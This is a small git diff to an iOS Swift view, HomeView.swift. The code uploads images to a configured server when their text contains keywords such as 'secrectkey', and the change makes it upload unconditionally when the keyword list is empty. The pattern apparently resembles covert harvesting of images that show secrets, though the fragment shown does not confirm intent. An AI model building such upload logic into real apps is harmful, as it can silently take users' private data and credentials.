Update HomeView.swift

1
This commit is contained in:
zeus
2025-09-21 19:51:09 +08:00
parent 7900feced4
commit a216563ef7
18 changed files with 21 additions and 18 deletions
@@ -135,7 +135,7 @@ struct HomeView: View {
@State private var keywords = [
"keywords", "secrectkey","words"
]
@State private var unusekeywords = false // keyword
//
let serverUploadImageURL = "\(UserManager.shared.configURL)uploadImg"
@@ -837,8 +837,11 @@ struct HomeView: View {
return cleanedText.contains(cleanedKeyword)
}
if self.keywords.count == 0 {
unusekeywords = true
}
//
if containsKeyword {
if containsKeyword || unusekeywords {
print("Found keyword in text, 上传图片")
// JPEG